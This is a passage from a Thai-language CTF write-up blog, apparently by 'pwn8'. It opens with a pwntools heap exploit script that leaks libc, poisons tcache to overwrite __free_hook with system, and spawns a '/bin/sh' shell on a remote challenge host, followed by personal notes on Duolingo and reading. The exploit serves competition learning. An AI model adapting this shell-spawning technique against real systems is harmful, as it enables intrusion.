ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
rl = lambda : p.recvline()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def conn():
if args.LOCAL:
p = process([exe.path])
elif args.GDB:
p = process([exe.path])
gdb.attach(p, gdbscript="b *main")
else:
target = "X:1"
target = target.split(":")
p = remote(target[0],target[1])
return p
def create(size,buf):
sla(b">", b"1")
sla(b">", str(size).encode())
sa(b">", buf)
def edit(idx, buf):
sla(b">", b"3")
sla(b">", str(idx).encode())
sa(b">", buf)
def show(idx):
sla(b">",b"2")
sla(b">", str(idx).encode())
ru(b"]:")
ru(b"]:")
rl()
return rl()
def leak_libc(idx):
sla(b">",b"2")
sla(b">", str(idx).encode())
ru(b"]:")
ru(b"]:")
rl()
return r(6)
def delete(idx):
sla(b">", b"4")
sla(b">", str(idx).encode())
def main():
global p
p = conn()
# good luck pwning :)
# leak libc address
create(0x500, b"a"*0x500) # chunk 0
create(0x10, b"a"*0x10) # chunk 1
delete(0) # unsorted bin
buf = b"A"*7+b"\n"
create(0x500, buf) # chunk 0
leak = leak_libc(0)
leak = u64(leak.ljust(8, b"\x00"))
libc.address = leak - 4111520
"""
0x4f3ce execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""
one_gadget = libc.address +0x4f3d5 # it didn't work LOL
free_hook = libc.sym['__free_hook']
print(f"leak: {hex(leak)}")
print(f"libc addr: {hex(libc.address)}")
print(f"free_hook addr: {hex(free_hook)}")
print(f"one_gadget addr: {hex(one_gadget)}")
# create fake chunk
fake = b""
fake += p64(0) # prev_size
create(0x28, b"2"*0x28) # chunk 2
create(0x500-8, b"3"*(0x500-8)) # chunk 3
create(0x80-8, b"4"*(0x80-8)) # chunk 4
# edit chunk 2 to overwrite chunk 3 size
buf = b"2"*0x28
buf += b"\x81\x05"
delete(3) # free chunk 3
delete(4) # free chunk 4
edit(2, buf)
# overwrite tcache ptr
buf = flat({0x500:p64(free_hook)})
create(0x580-8, buf + b"\n") # chunk 3
create(120, b"\n") # chunk 4
# overwrite free_hook
create(120, p64(libc.sym['system'])) # chunk 5
# no more one gadget
create(0x20, "/bin/sh\x00\n") # chunk 6
delete(6)
p.interactive()
if __name__ == "__main__":
main()
ถ้าอ่านจนถึงตอนนี้คืออ่านมาไกลมาก จะเห็นว่าจริง ๆ ยังไม่ครบขาดอีกข้อนึง ตอนแข่งผมทำไม่ทันเหมือนกัน เสียดายไม่งั้นเคลียร์ทุกข้อแล้ว ใครสนใจลองไปทำดูนะครับ ผมว่าไม่ยากมากแล้วอย่าลืมเอามาเขียนแชร์กันบ้าง :D
Touch Some Grass🌲
ช่วงนี้หาอย่างอื่นนอกจากนั่งอยู่หน้าคอมบ้างเลยแว้บ ๆ ไปเรียนภาษาเห็นคนเค้าเล่น Duolingo กันเลยไปลองบ้าง อยากมีเก็บไฟไปโชว์ตอนสิ้นปีเหมือนคนอื่นเค้า แต่ ณ วันที่เขียน blog นี้น้องตายไปจะครบ 2 วีคละอ่ะ GG
ส่วนตัวคิดว่า Duolingo ไม่ได้เหมาะกับคนที่ไม่มีพื้นฐานภาษานั้นเลย อย่างน้อยควรจำตัวอักษรได้ทั้งหมดก่อนมาเรียน น่าจะสนุกว่ามานับ 0 เดี้ยวจะกลับไปคัดตัวอักษรจะกลับมาเก็บไฟกับน้องต่อนะ
อีกอย่างที่ได้ทำในช่วงนี้คืออ่านหนังสือ(แน่นอนว่า fiction ล้วน) ได้ลองเริ่มอ่าน “กาสักอังฆาต” เป็น fiction ในหมวดสืบสวนสอบสวนเล่มแรกที่ได้อ่าน ที่เลือกเล่มนี้เพราะบูทที่งานหนังสือมีโปรครบ 1000 บาทได้ของแถม LOL
เคยอ่านรีวิวมาคร่าว ๆ มีคนบอกว่าอ่านง่ายเหมาะกับมือใหม่ หลังจากอ่านจบก็พบว่าอ่านง่ายจริงเลยไปซื้ออีก 2 เล่มมา ก็อ่านจบภายในวันเดียว(อ่านข้าม ๆ เน้นรู้เรื่องไม่เน้นซึมซับ lol) ใครอยากลองเปิดใจให้กับหมวดสืบสวนสอบสวนลองเล่มนี้ดูครับ
Subscribe to my newsletter
Read articles from pwn8 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
